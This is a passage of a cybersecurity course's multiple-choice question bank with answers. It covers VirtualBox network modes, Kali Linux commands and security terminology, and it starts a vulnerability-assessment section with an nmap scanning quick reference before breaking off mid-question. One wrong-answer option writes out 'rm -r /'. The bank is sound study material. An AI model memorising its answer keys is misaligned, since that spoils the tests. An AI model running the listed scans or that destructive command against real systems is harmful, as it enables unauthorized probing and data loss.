Q198 | Scenario

A VM must communicate with the host and other VMs on a local private network, with no Internet access. Which mode is the best match?

- A. Internal
- B. NAT
- C. Host-only
- D. Bridged

Answer: C. Host-only

Why: Host-only networking supports host and VM communication but blocks Internet connectivity.

Source page reference: p. 41

Q199 | Scenario

A VM must behave like a node on the local network and accept inbound connections directly. Which mode is the best match?

- A. Bridged
- B. Internal
- C. Host-only
- D. NAT

Answer: A. Bridged

Why: Bridged networking gives the VM direct local-network presence and two-way Internet connectivity.

Source page reference: p. 41

Q200 | Scenario

One VM should access the Internet through the host, remain hidden by the host, and not communicate directly with another separate VM using the same basic mode. Which mode is the best match?

- A. Internal
- B. Host-only
- C. NAT
- D. Bridged

Answer: C. NAT

Why: Basic NAT hides the VM and does not provide VM-to-VM communication.

Source page reference: p. 41

Q201 | Scenario

Several VMs need Internet access through the host and must also communicate with each other on a virtual private network. Which mode is the best match?

- A. NAT Network
- B. Bridged
- C. Host-only
- D. Internal

Answer: A. NAT Network

Why: NAT Network adds VM-to-VM communication to NAT-style outbound connectivity.

Source page reference: p. 41

Q202 | Scenario

A lab must prevent a vulnerable target from reaching the Internet while allowing the host to connect to it. Which mode is the best match?

- A. Host-only
- B. Bridged
- C. NAT
- D. Internal

Answer: A. Host-only

Why: Host-only is appropriate when host access is needed but Internet access is not.

Source page reference: p. 41

Q203 | Scenario

A lab must prevent a vulnerable target from reaching both the host and the Internet while allowing communication with another assigned VM. Which mode is the best match?

- A. Host-only
- B. Bridged
- C. NAT
- D. Internal

Answer: D. Internal

Why: Internal networking isolates assigned VMs from both host and Internet.

Source page reference: p. 41

Q204 | Scenario

A VM requires inbound Internet access without relying on port forwarding. Which mode is the best match?

- A. Host-only
- B. Internal
- C. NAT
- D. Bridged

Answer: D. Bridged

Why: The table shows direct inbound Internet access for bridged mode.

Source page reference: p. 41

Q205 | Scenario

Inbound Internet traffic should reach a NAT-style VM only through an explicit mapping. Which answer is correct?

- A. NAT only
- B. NAT Network only
- C. NAT or NAT Network
- D. Host-only only

Answer: C. NAT or NAT Network

Why: Both NAT and NAT Network use port forwarding for inbound traffic.

Source page reference: p. 41

Q206 | Select all that apply

Which VirtualBox modes allow VM-to-VM communication? Select all that apply.

- A. Host-only
- B. Internal
- C. Bridged
- D. NAT
- E. NAT Network

Answer: A, B, C, E

Why: Basic NAT is the exception: separate NAT VMs cannot communicate directly.

Source page reference: p. 41

Q207 | Select all that apply

Which modes provide outbound Internet access from the VM? Select all that apply.

- A. Host-only
- B. Internal
- C. Bridged
- D. NAT
- E. NAT Network

Answer: C, D, E

Why: Bridged, NAT, and NAT Network allow VM-to-Internet traffic.

Source page reference: p. 41

Q208 | Select all that apply

Which modes prevent both outbound and inbound Internet traffic by default? Select all that apply.

- A. Host-only
- B. Internal
- C. Bridged
- D. NAT
- E. NAT Network

Answer: A, B

Why: Host-only and Internal modes are isolated from the Internet.

Source page reference: p. 41

Q209 | Select all that apply

Which modes require port forwarding for inbound Internet traffic? Select all that apply.

- A. Host-only
- B. Internal
- C. Bridged
- D. NAT
- E. NAT Network

Answer: D, E

Why: NAT and NAT Network use port forwarding for inbound traffic.

Source page reference: p. 41

Q210 | Select all that apply

Which statements about bridged networking are correct? Select all that apply.

- A. The VM is a node on the local network.
- B. Packet sniffing on the host interface is possible.
- C. The VM has no Internet connectivity.
- D. Inbound and outbound Internet connectivity are supported.
- E. VM-to-host communication is supported.

Answer: A, B, D, E

Why: The lecture describes a bridged VM as a local-network node with two-way connectivity.

Source page reference: p. 41

Q211 | Select all that apply

Which statements about basic NAT are correct? Select all that apply.

- A. The VM is hidden by the host.
- B. Traffic from the VM appears as if it came from the host.
- C. Separate VMs using basic NAT can communicate directly by default.
- D. Outbound Internet access is supported.
- E. Inbound access uses port forwarding.

Answer: A, B, D, E

Why: The lecture states that basic NAT hides the VM, permits outbound traffic, uses port forwarding inbound, and does not permit VM-to-VM communication.

Source page reference: p. 41

Q212 | Select all that apply

Which statements about NAT Network are correct? Select all that apply.

- A. Assigned VMs can communicate.
- B. Assigned VMs use a virtual private network.
- C. Outbound Internet access is supported.
- D. Inbound access uses port forwarding.
- E. The host is directly reachable from the VM according to the table.

Answer: A, B, C, D

Why: NAT Network supports VM communication and outbound Internet while inbound access uses forwarding; the table marks VM-to-host as No.

Source page reference: p. 41

Q213 | Assertion-reason

Assertion: Host-only and Internal networking are both useful for isolated lab environments.

Reason: Both modes block Internet access, although Host-only permits host communication and Internal does not.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: The two modes differ in host access but both avoid Internet exposure.

Source page reference: p. 41

Q214 | Assertion-reason

Assertion: NAT and NAT Network are identical.

Reason: NAT Network permits assigned VMs to communicate with each other, while basic NAT does not.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: D. The assertion is false, but the reason is true.

Why: VM-to-VM communication is the key distinction highlighted by the table.

Source page reference: p. 41

9. Kali Linux setup, updates, and basic Linux commands

31 questions. Answers appear immediately below each item.

Q215 | *Kali fact recognition*

Kali Linux is based on which Linux distribution?

- A. Incident response only
- B. Debian
- C. Ubuntu
- D. Windows

Answer: B. Debian
Why:

Source page reference: p. 42

Q216 | *Kali fact recognition*

Kali Linux is designed primarily for which purpose?

- A. Incident response only
- B. Windows
- C. Ubuntu
- D. Penetration testing

Answer: D. Penetration testing
Why:

Source page reference: p. 42

Q217 | *Kali fact recognition*

How is the Kali Linux project described?

- A. Open source project
- B. Windows
- C. Incident response only
- D. Ubuntu

Answer: A. Open source project
Why:

Source page reference: p. 42

Q218 | *Kali fact recognition*

Which organization is stated to maintain and fund Kali Linux?

- A. Incident response only
- B. Windows
- C. Ubuntu
- D. Offensive Security

Answer: D. Offensive Security
Why:

Source page reference: p. 42

Q219 | Command recognition

Which command can be used to execute a command with elevated privileges?

- A. pwd
- B. touch file
- C. sudo -i
- D. grep string file

Answer: C. sudo -i

Why: The lecture states to use sudo -i to become or act as root.

Source page reference: p. 43

Q220 | Command recognition

Which command permanently reconfigures the keyboard?

- A. apt autoremove
- B. setxkbmap dk
- C. dpkg-reconfigure keyboard-configuration
- D. ip addr

Answer: C. dpkg-reconfigure keyboard-configuration

Why: The dpkg-reconfigure command is presented for permanent keyboard reconfiguration.

Source page reference: p. 43

Q221 | Command recognition

Which type of command temporarily changes the GUI keyboard layout at runtime?

- A. setxkbmap
- B. pwd
- C. apt update
- D. rm -r

Answer: A. setxkbmap

Why: The lecture uses setxkbmap for temporary runtime layout switching.

Source page reference: p. 43

Q222 | Select all that apply

Which commands are part of the recommended Kali update process? Select all that apply.

- A. apt update
- B. apt full-upgrade
- C. apt autoremove when suggested
- D. rm -r / as a normal update step
- E. Disable updates permanently

Answer: A, B, C

Why: The lecture recommends apt update, apt full-upgrade, and apt autoremove when suggested.

Source page reference: p. 44

Q223 | Scenario

Which machine should normally be kept deliberately outdated in the lab?

- A. The Kali tester machine
- B. The intentionally vulnerable target machines
- C. All production systems
- D. Every host operating system

Answer: B. The intentionally vulnerable target machines

Why: The vulnerable machines should remain outdated as designed; Kali should be updated regularly.

Source page reference: p. 44

Q224 | Single answer

How should Kali Linux be viewed?

- A. As a legal standard
- B. As a vulnerable target only
- C. As a replacement for every production desktop
- D. As a penetration-testing toolbox rather than a general desktop operating system

Answer: D. As a penetration-testing toolbox rather than a general desktop operating system

Why: The lecture explicitly notes that Kali is not intended as a desktop OS.

Source page reference: p. 44

Q225 | Command recognition

Which command best fits this task: Package manager; for example, apt upgrade?

- A. touch file
- B. apt
- C. vi file
- D. pwd

Answer: B. apt

Why: apt is the command associated with this task.

Source page reference: p. 45

Q226 | Command recognition

Which command best fits this task: Show the location of the current directory?

- A. apt
- B. pwd
- C. touch file
- D. vi file

Answer: B. pwd

Why: pwd is the command associated with this task.

Source page reference: p. 45

Q227 | Command recognition

Which command best fits this task: Create a file?

- A. pwd
- B. touch file
- C. apt
- D. vi file

Answer: B. touch file

Why: touch file is the command associated with this task.

Source page reference: p. 45

Q228 | Command recognition

Which command best fits this task: Open a low-bandwidth text editor; vim can provide increased comfort?

- A. pwd
- B. vi file
- C. apt
- D. touch file

Answer: B. vi file

Why: vi file is the command associated with this task.

Source page reference: p. 45

Q229 | Command recognition

Which command best fits this task: Copy a file?

- A. touch file
- B. cp source destination
- C. pwd
- D. apt

Answer: B. cp source destination

Why: cp source destination is the command associated with this task.

Source page reference: p. 45

Q230 | Command recognition

Which command best fits this task: Move a file?

- A. pwd
- B. mv source destination
- C. touch file
- D. apt

Answer: B. mv source destination

Why: mv source destination is the command associated with this task.

Source page reference: p. 45

Q231 | Command recognition

Which command best fits this task: Remove a file?

- A. rm file
- B. touch file
- C. pwd
- D. apt

Answer: A. rm file

Why: rm file is the command associated with this task.

Source page reference: p. 45

Q232 | Command recognition

Which command best fits this task: Recursively remove a directory and its subdirectories?

- A. touch file
- B. rm -r directory
- C. apt
- D. pwd

Answer: B. rm -r directory

Why: rm -r directory is the command associated with this task.

Source page reference: p. 45

Q233 | Command recognition

Which command best fits this task: Look for occurrences of a string in one or more files?

- A. pwd
- B. touch file
- C. grep string file
- D. apt

Answer: C. grep string file

Why: grep string file is the command associated with this task.

Source page reference: p. 45

Q234 | Command recognition

Which command best fits this task: Extract strings from a binary file?

- A. pwd
- B. apt
- C. strings
- D. touch file

Answer: C. strings

Why: strings is the command associated with this task.

Source page reference: p. 45

Q235 | Command recognition

Which command best fits this task: Return IP-address information?

- A. touch file
- B. apt
- C. ip address / ip addr / ip a
- D. pwd

Answer: C. ip address / ip addr / ip a

Why: ip address / ip addr / ip a is the command associated with this task.

Source page reference: p. 45

Q236 | Command scenario

You need to confirm the directory in which the shell is currently operating. Which command is the best match?

- A. touch file
- B. pwd
- C. mv source destination
- D. cp source destination

Answer: B. pwd

Why: pwd shows the current directory.

Source page reference: p. 45

Q237 | Command scenario

You need to create an empty file named notes.txt. Which command is the best match?

- A. touch file
- B. touch notes.txt
- C. pwd
- D. cp source destination

Answer: B. touch notes.txt

Why: touch creates a file.

Source page reference: p. 45

Q238 | Command scenario

You need to copy report.txt to backup.txt. Which command is the best match?

- A. touch file
- B. cp report.txt backup.txt
- C. cp source destination
- D. pwd

Answer: B. cp report.txt backup.txt

Why: cp copies a source file to a destination.

Source page reference: p. 45

Q239 | Command scenario

You need to move old.txt to archive.txt. Which command is the best match?

- A. mv old.txt archive.txt
- B. touch file
- C. cp source destination
- D. pwd

Answer: A. mv old.txt archive.txt

Why: mv moves or renames a file.

Source page reference: p. 45

Q240 | Command scenario

You need to remove a file named temp.txt. Which command is the best match?

- A. touch file
- B. cp source destination
- C. rm temp.txt
- D. pwd

Answer: C. rm temp.txt

Why: rm removes a file.

Source page reference: p. 45

Q241 | Command scenario

You need to recursively delete a directory named old_lab and its subdirectories. Which command is the best match?

- A. touch file
- B. pwd
- C. rm -r old_lab
- D. cp source destination

Answer: C. rm -r old_lab

Why: rm -r recursively removes a directory tree.

Source page reference: p. 45

Q242 | Command scenario

You need to find occurrences of the word admin in users.txt. Which command is the best match?

- A. cp source destination
- B. pwd
- C. touch file
- D. grep admin users.txt

Answer: D. grep admin users.txt

Why: grep searches for a string in one or more files.

Source page reference: p. 45

Q243 | Command scenario

You need to inspect readable text embedded in a binary file. Which command is the best match?

- A. touch file
- B. strings
- C. pwd
- D. cp source destination

Answer: B. strings

Why: strings extracts readable strings from a binary.

Source page reference: p. 45

Q244 | Command scenario

You need to show the system IP-address information. Which command is the best match?

- A. pwd
- B. touch file
- C. cp source destination
- D. ip a

Answer: D. ip a

Why: ip a is one of the listed forms for returning IP-address information.

Source page reference: p. 45

Q245 | Assertion-reason

Assertion: Kali should be updated regularly, while intentionally vulnerable targets should normally remain outdated as designed.

Reason: The tester toolbox benefits from current packages, but the targets are intentionally configured to preserve weaknesses for controlled exercises.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: This is the lab-maintenance distinction made in the lecture.

Source page reference: p. 44

10. Mixed exam-style variants and cumulative review

59 questions. Answers appear immediately below each item.

Q246 | Cumulative review

A user can read a record but must not change it. Which CIA goal is most relevant to preventing unauthorized edits?

- A. Availability
- B. Integrity
- C. Confidentiality
- D. Virtualization

Answer: B. Integrity

Why: Unauthorized editing is an integrity issue.

Source page reference: p. 26

Q247 | Cumulative review

A service remains correct but cannot be reached by legitimate users. Which CIA goal is primarily affected?

- A. Authentication only
- B. Integrity
- C. Confidentiality
- D. Availability

Answer: D. Availability

Why: Authorized access when needed is the availability goal.

Source page reference: p. 26

Q248 | Cumulative review

A private message is exposed but not modified. Which CIA goal is primarily affected?

- A. Integrity
- B. Confidentiality
- C. Availability
- D. Redundancy

Answer: B. Confidentiality

Why: Unauthorized disclosure is a confidentiality issue.

Source page reference: p. 26

Q249 | Cumulative review

Which response most directly fixes a known vulnerability?

- A. Risk
- B. Patch
- C. Threat
- D. Attack surface

Answer: B. Patch

Why: A patch is a fix for a vulnerability.

Source page reference: p. 35

Q250 | Cumulative review

Which term describes the possibility that an event could exploit a weakness?

- A. Backup
- B. Availability
- C. Patch
- D. Threat

Answer: D. Threat

Why: A threat is a circumstance or event with exploit potential.

Source page reference: p. 35

Q251 | Cumulative review

Which term describes the degree to which an entity is threatened?

- A. Integrity
- B. Patch
- C. Exploit
- D. Risk

Answer: D. Risk

Why: Risk measures the extent of threat to an entity.

Source page reference: p. 35

Q252 | Cumulative review

Which defensive concept rejects reliance on a single protective control?

- A. Data at rest
- B. Port forwarding
- C. Direct access
- D. Defense-in-depth

Answer: D. Defense-in-depth

Why: Layered controls are the point of defense-in-depth.

Source page reference: p. 20

Q253 | Cumulative review

Which activity identifies weaknesses without necessarily attempting to exploit them?

- A. Penetration testing
- B. Vulnerability assessment
- C. Hardening
- D. Incident response

Answer: B. Vulnerability assessment

Why: Vulnerability assessment focuses on finding weaknesses.

Source page reference: p. 21

Q254 | Cumulative review

Which activity asks how a system could fail or be attacked before an incident?

- A. Incident response
- B. Keyboard reconfiguration
- C. Packet forwarding
- D. Threat modelling

Answer: D. Threat modelling

Why: Threat modelling anticipates what can go wrong and what to do.

Source page reference: p. 21

Q255 | Cumulative review

Which mode isolates assigned VMs from both host and Internet while allowing VM-to-VM communication?

- A. Bridged
- B. Internal
- C. Host-only
- D. NAT

Answer: B. Internal

Why: Internal networking matches this isolation pattern.

Source page reference: p. 41

Q256 | Cumulative review

Which mode allows VM-to-host communication but blocks Internet connectivity?

- A. Internal
- B. Bridged
- C. NAT Network
- D. Host-only

Answer: D. Host-only

Why: Host-only permits host communication but neither Internet direction.

Source page reference: p. 41

Q257 | Cumulative review

Which mode makes the VM a node on the local network?

- A. Host-only
- B. NAT
- C. Bridged
- D. Internal

Answer: C. Bridged

Why: This is the defining bridged-network description.

Source page reference: p. 41

Q258 | Cumulative review

Which NAT-style mode allows assigned VMs to communicate with each other?

- A. NAT
- B. NAT Network
- C. Internal only
- D. Host-only only

Answer: B. NAT Network

Why: NAT Network adds a shared virtual private network.

Source page reference: p. 41

Q259 | Cumulative review

Which command recursively removes a directory tree?

- A. pwd
- B. grep string file
- C. rm file
- D. rm -r directory

Answer: D. rm -r directory

Why: The -r option performs recursive removal.

Source page reference: p. 45

Q260 | Cumulative review

Which command searches for text occurrences in a file?

- A. grep string file
- B. pwd
- C. strings
- D. mv source destination

Answer: A. grep string file

Why: grep searches for occurrences of a string.

Source page reference: p. 45

Q261 | Cumulative review

Which command displays the current directory?

- A. touch file
- B. ip a
- C. apt upgrade
- D. pwd

Answer: D. pwd

Why: pwd prints the working directory.

Source page reference: p. 45

Q262 | Cumulative review

Which item is a vulnerability-assessment tool?

- A. Wazuh
- B. VirtualBox
- C. Nessus
- D. Snort

Answer: C. Nessus

Why: Nessus is listed under vulnerability assessment.

Source page reference: p. 9

Q263 | Cumulative review

Which asset category includes source code?

- A. Systems and devices only
- B. Legal issues
- C. Networks only
- D. Programs

Answer: D. Programs

Why: Programs and source code are explicit assets.

Source page reference: p. 25

Q264 | Cumulative review

Which attack-surface role wants to limit exposure?

- A. Attacker
- B. Threat
- C. Exploit
- D. Operator

Answer: D. Operator

Why: Operators want to limit the surface open to attacks.

Source page reference: p. 33

Q265 | Cumulative review

Which attack-surface role wants to expand exposure?

- A. Attacker
- B. Operator
- C. Backup administrator only
- D. Designer following operator requirements

Answer: A. Attacker

Why: Attackers benefit from more exposed interface.

Source page reference: p. 33

Q266 | Cumulative review

Which human-related weakness belongs to the attack surface?

- A. An employee susceptible to social engineering
- B. A redundant server
- C. A checksum
- D. A legal standard

Answer: A. An employee susceptible to social engineering

Why: Human weaknesses are part of the attack surface.

Source page reference: pp. 30-31

Q267 | Cumulative review

Which data states are protected?

- A. Only archived data
- B. Only public data
- C. Only data outside a network
- D. Processed, stored, and communicated data

Answer: D. Processed, stored, and communicated data

Why: The definition explicitly covers processed, stored, and communicated information.

Source page reference: pp. 22-23

Q268 | Cumulative review

Which principle is supported by considering security during architecture design?

- A. NAT forwarding
- B. Binary extraction
- C. Direct access
- D. Secure-by-design

Answer: D. Secure-by-design

Why: Secure-by-design introduces security early.

Source page reference: pp. 18, 20

Q269 | Select all that apply

Which statements describe the relationship between lab networking modes correctly? Select all that apply.

- A. Host-only and Internal both block Internet connectivity.
- B. Host-only allows host communication; Internal does not.
- C. NAT and NAT Network both support outbound Internet connectivity.
- D. NAT Network allows assigned VMs to communicate; basic NAT does not.
- E. Bridged networking blocks all inbound traffic.

Answer: A, B, C, D

Why: The bridged row allows inbound connectivity; the other four statements match the table.

Source page reference: p. 41

Q270 | *Select all that apply*

Which statements describe the security process correctly? Select all that apply.

- A. Identify what must be protected.
- B. Consider where and how attacks can occur.
- C. Apply mitigations.
- D. Prepare for the worst case.
- E. Assume one control is sufficient forever.

Answer: A, B, C, D

Why: The lecture presents a broad, iterative process rather than a single permanent solution.

Source page reference: p. 36

Q271 | *Select all that apply*

Which statements about attack surfaces are correct? Select all that apply.

- A. They include possible entry points.
- B. They can include data-extraction points.
- C. They can include human weaknesses.
- D. They include only successfully exploited vulnerabilities.
- E. Operators generally try to limit them.

Answer: A, B, C, E

Why: An attack surface concerns possible exposure, not successful compromise only.

Source page reference: pp. 30-33

Q272 | *Select all that apply*

Which statements about cybersecurity terminology are correct? Select all that apply.

- A. A vulnerability is a weakness.
- B. An exploit is a method for taking advantage of a weakness.
- C. An attack is an action.
- D. A patch fixes a vulnerability.
- E. A countermeasure helps prevent an attack.

Answer: A, B, C, D, E

Why: All five statements match the lecture definitions.

Source page reference: p. 35

Q273 | *Rapid recall variant*

Which term should be used for the following exam definition: A measure of the extent to which an entity is threatened by a potential circumstance or event?

- A. Vulnerability
- B. Risk
- C. Threat
- D. Exploit

Answer: B. Risk

Why: The correct terminology is Risk.

Source page reference: p. 35

Q274 | Rapid recall variant

Which term should be used for the following exam definition: A weakness in a system?

- A. Threat
- B. Risk
- C. Vulnerability
- D. Exploit

Answer: C. Vulnerability

Why: The correct terminology is Vulnerability.

Source page reference: p. 35

Q275 | Rapid recall variant

Which term should be used for the following exam definition: A circumstance or event with the potential to exploit a vulnerability?

- A. Vulnerability
- B. Exploit
- C. Threat
- D. Risk

Answer: C. Threat

Why: The correct terminology is Threat.

Source page reference: p. 35

Q276 | Rapid recall variant

Which term should be used for the following exam definition: A method of taking advantage of a vulnerability?

- A. Threat
- B. Risk
- C. Exploit
- D. Vulnerability

Answer: C. Exploit

Why: The correct terminology is Exploit.

Source page reference: p. 35

Q277 | Rapid recall variant

Which term should be used for the following exam definition: An action that uses a threat to exploit a vulnerability?

- A. Attack
- B. Vulnerability
- C. Threat
- D. Risk

Answer: A. Attack

Why: The correct terminology is Attack.

Source page reference: p. 35

Q278 | Rapid recall variant

Which term should be used for the following exam definition: A fix for a vulnerability?

- A. Vulnerability
- B. Patch
- C. Risk
- D. Threat

Answer: B. Patch

Why: The correct terminology is Patch.

Source page reference: p. 35

Q279 | Rapid recall variant

Which term should be used for the following exam definition: A means of preventing an attack that tries to exploit one or more vulnerabilities?

- A. Vulnerability
- B. Threat
- C. Risk
- D. Countermeasure

Answer: D. Countermeasure

Why: The correct terminology is Countermeasure.

Source page reference: p. 35

Q280 | Rapid recall variant

Choose the CIA-triad component that best fits: Preventing disclosure of information to unauthorized parties.

- A. Integrity
- B. Attack surface
- C. Availability
- D. Confidentiality

Answer: D. Confidentiality

Why: This is Confidentiality.

Source page reference: p. 26

Q281 | Rapid recall variant

Choose the CIA-triad component that best fits: Protecting information from unauthorized modification.

- A. Availability
- B. Confidentiality
- C. Attack surface
- D. Integrity

Answer: D. Integrity

Why: This is Integrity.

Source page reference: p. 26

Q282 | Rapid recall variant

Choose the CIA-triad component that best fits: Ensuring authorized parties can access information when needed.

- A. Availability
- B. Confidentiality
- C. Integrity
- D. Attack surface

Answer: A. Availability
Why: This is Availability.

Source page reference: p. 26

Q283 | Rapid recall variant

Choose the activity that best fits: Finding weaknesses.

- A. Security monitoring
- B. Threat modelling
- C. Vulnerability assessment
- D. Penetration testing

Answer: C. Vulnerability assessment
Why: This is Vulnerability assessment.

Source page reference: p. 21

Q284 | Rapid recall variant

Choose the activity that best fits: Ethical hacking to find exploitable weaknesses.

- A. Penetration testing
- B. Security monitoring
- C. Vulnerability assessment
- D. Threat modelling

Answer: A. Penetration testing
Why: This is Penetration testing.

Source page reference: p. 21

Q285 | Rapid recall variant

Choose the activity that best fits: Understanding what can go wrong, how it can be attacked, and what to do about it.

- A. Vulnerability assessment
- B. Threat modelling
- C. Security monitoring
- D. Penetration testing

Answer: B. Threat modelling
Why: This is Threat modelling.

Source page reference: p. 21

Q286 | Rapid recall variant

Choose the activity that best fits: Using mechanisms such as SIEM, firewalls, intrusion detection, and intrusion prevention to observe and protect systems.

- A. Security monitoring
- B. Threat modelling
- C. Penetration testing
- D. Vulnerability assessment

Answer: A. Security monitoring
Why: This is Security monitoring.

Source page reference: p. 21

Q287 | Rapid recall variant

Choose the activity that best fits: Handling breaches when they occur.

- A. Threat modelling
- B. Penetration testing
- C. Incident response
- D. Vulnerability assessment

Answer: C. Incident response
Why: This is Incident response.

Source page reference: p. 21

Q288 | Rapid recall variant

Choose the activity that best fits: Improving system security through measures such as two-factor authentication, patches, and updates.

- A. Hardening
- B. Threat modelling
- C. Penetration testing
- D. Vulnerability assessment

Answer: A. Hardening
Why: This is Hardening.

Source page reference: p. 21

Q289 | Rapid recall variant

Which Linux command is associated with this purpose: Package manager; for example, apt upgrade?

- A. vi file
- B. apt
- C. pwd
- D. touch file

Answer: B. apt
Why: The associated command is apt.

Source page reference: p. 45

Q290 | Rapid recall variant

Which Linux command is associated with this purpose: Show the location of the current directory?

- A. touch file
- B. apt
- C. pwd
- D. vi file

Answer: C. pwd

Why: The associated command is pwd.

Source page reference: p. 45

Q291 | Rapid recall variant

Which Linux command is associated with this purpose: Create a file?

- A. vi file
- B. pwd
- C. touch file
- D. apt

Answer: C. touch file

Why: The associated command is touch file.

Source page reference: p. 45

Q292 | Rapid recall variant

Which Linux command is associated with this purpose: Open a low-bandwidth text editor; vim can provide increased comfort?

- A. touch file
- B. pwd
- C. apt
- D. vi file

Answer: D. vi file

Why: The associated command is vi file.

Source page reference: p. 45

Q293 | Rapid recall variant

Which Linux command is associated with this purpose: Copy a file?

- A. pwd
- B. apt
- C. touch file
- D. cp source destination

Answer: D. cp source destination

Why: The associated command is cp source destination.

Source page reference: p. 45

Q294 | Rapid recall variant

Which Linux command is associated with this purpose: Move a file?

- A. pwd
- B. mv source destination
- C. touch file
- D. apt

Answer: B. mv source destination

Why: The associated command is mv source destination.

Source page reference: p. 45

Q295 | Rapid recall variant

Which Linux command is associated with this purpose: Remove a file?

- A. rm file
- B. touch file
- C. pwd
- D. apt

Answer: A. rm file

Why: The associated command is rm file.

Source page reference: p. 45

Q296 | Rapid recall variant

Which Linux command is associated with this purpose: Recursively remove a directory and its subdirectories?

- A. apt
- B. touch file
- C. pwd
- D. rm -r directory

Answer: D. rm -r directory

Why: The associated command is rm -r directory.

Source page reference: p. 45

Q297 | Rapid recall variant

Which Linux command is associated with this purpose: Look for occurrences of a string in one or more files?

- A. pwd
- B. touch file
- C. apt
- D. grep string file

Answer: D. grep string file

Why: The associated command is grep string file.

Source page reference: p. 45

Q298 | Rapid recall variant

Which Linux command is associated with this purpose: Extract strings from a binary file?

- A. apt
- B. pwd
- C. touch file
- D. strings

Answer: D. strings

Why: The associated command is strings.

Source page reference: p. 45

Q299 | Rapid recall variant

Which Linux command is associated with this purpose: Return IP-address information?

- A. ip address / ip addr / ip a
- B. apt
- C. pwd
- D. touch file

Answer: A. ip address / ip addr / ip a

Why: The associated command is ip address / ip addr / ip a.

Source page reference: p. 45

Q300 | Rapid recall variant

Which VirtualBox mode matches this connectivity profile: host=Yes, VM-to-VM=Yes, outbound Internet=No, inbound Internet=No?

- A. NAT
- B. Internal
- C. Bridged
- D. Host-only

Answer: D. Host-only

Why: The profile matches Host-only.

Source page reference: p. 41

Q301 | Rapid recall variant

Which VirtualBox mode matches this connectivity profile: host=No, VM-to-VM=Yes, outbound Internet=No, inbound Internet=No?

- A. Bridged
- B. NAT
- C. Host-only
- D. Internal

Answer: D. Internal

Why: The profile matches Internal.

Source page reference: p. 41

Q302 | Rapid recall variant

Which VirtualBox mode matches this connectivity profile: host=Yes, VM-to-VM=Yes, outbound Internet=Yes, inbound Internet=Yes?

- A. Internal
- B. NAT
- C. Bridged
- D. Host-only

Answer: C. Bridged

Why: The profile matches Bridged.

Source page reference: p. 41

Q303 | Rapid recall variant

Which VirtualBox mode matches this connectivity profile: host=No, VM-to-VM=No, outbound Internet=Yes, inbound Internet=Port forwarding?

- A. Internal
- B. Bridged
- C. Host-only
- D. NAT

Answer: D. NAT

Why: The profile matches NAT.

Source page reference: p. 41

Q304 | Rapid recall variant

Which VirtualBox mode matches this connectivity profile: host=No, VM-to-VM=Yes, outbound Internet=Yes, inbound Internet=Port forwarding?

- A. NAT Network
- B. Bridged
- C. Internal
- D. Host-only

Answer: A. NAT Network

Why: The profile matches NAT Network.

Source page reference: p. 41

End of cleaned question bank

Use the source-page references to locate the relevant lecture content during revision. Technical commands must be used only in authorized laboratories or explicitly scoped assessments.

Lecture 2 - Vulnerability assessment

Cleaned exam-style MCQ question bank

357 questions. The correct answer and a concise explanation appear directly below every item.

Cleanup rule: questions test cybersecurity concepts, command interpretation, and applied scenarios. Administrative facts, screenshot trivia, slide-position questions, and category-membership questions were removed.

Source-page references: retained only as a study-navigation aid; they are not part of the question wording.

Coverage map

Section	Questions
1. Vulnerability assessment fundamentals and penetration-testing context	22
2. Information gathering, investigation, and vulnerable-service analysis	16
3. Passive reconnaissance, active scanning, and public sources	24
4. DNS, whois, internal-network discovery, and traffic monitoring	13
5. Nmap foundations, host discovery, and ICMP interpretation	14
6. Nmap TCP, UDP, SYN, FIN, and related scan types	38
7. Nmap port selection, scripts, output formats, timing, and command interpretation	48
8. Vulnerability-scanning tools, phishing, and Metasploit preview	26
9. Mixed exam-style drills and comprehensive rapid-review variants	156
Total	357

Searchable quick reference

Item	Meaning
Passive reconnaissance	Gather information without directly scanning the target network
Active scanning	Directly query or scan a target network or system
whois <domain or IP>	Look up domain-registration or IP-related records
host / nslookup	Query DNS mappings
netdiscover -r <network> -f	Discover live hosts on an internal network
nmap -sn <IP>	Host discovery without port scanning
nmap -sT <IP>	TCP connect scan
nmap -sS <IP>	TCP SYN scan
nmap -sF <IP>	FIN scan
nmap -sU <IP>	UDP scan
nmap -O <IP>	Operating-system detection
nmap -p- <IP>	Scan all ports
nmap -oA <file>	Save results in normal, XML, and grepable formats
Nessus	Vulnerability scanner; supports authenticated scans
OpenVAS / GVM	Automated vulnerability-assessment platform

1. Vulnerability assessment fundamentals and penetration-testing context

22 questions. Answers appear immediately below each item.

Q001 | Single answer

Which description best matches vulnerability assessment?

- A. Replacing all threat modelling activities permanently
- B. Collecting only public marketing information
- C. Proving every weakness can be exploited without authorization
- D. Discovering hosts and services while investigating possible vulnerabilities

Answer: D. Discovering hosts and services while investigating possible vulnerabilities

Why: Vulnerability assessment involves discovering hosts and services while investigating possible vulnerabilities.

Source page reference: p. 8

Q002 | Comparison

Which statement best distinguishes a vulnerability assessment from penetration testing?

- A. A vulnerability assessment identifies and investigates possible weaknesses, while penetration testing may proceed to controlled exploitation to demonstrate impact.
- B. The two terms refer only to passive website browsing.
- C. A vulnerability assessment always exploits every weakness, while penetration testing never scans systems.
- D. Penetration testing requires no authorization if a vulnerability scanner is used.

Answer: A. A vulnerability assessment identifies and investigates possible weaknesses, while penetration testing may proceed to controlled exploitation to demonstrate impact.

Why: The lecture positions vulnerability assessment inside the broader penetration-testing workflow and reserves exploitation as a later activity.

Source page reference: pp. 6-8

Q003 | Single answer

What is penetration testing?

- A. An unauthorized attempt to damage a target system
- B. A guarantee that a system has no security problems
- C. A purely passive review of public websites
- D. An authorized simulated attack used to test the security of a running system

Answer: D. An authorized simulated attack used to test the security of a running system

Why: Penetration testing is an authorized simulated attack against a running system.

Source page reference: p. 6

Q004 | Single answer

Which statement about penetration testing is correct?

- A. It should complement a security strategy rather than be treated as a guarantee of security.
- B. It proves that no future attack can succeed.
- C. It can be performed without permission when the target is Internet-facing.
- D. It eliminates the need for threat modelling.

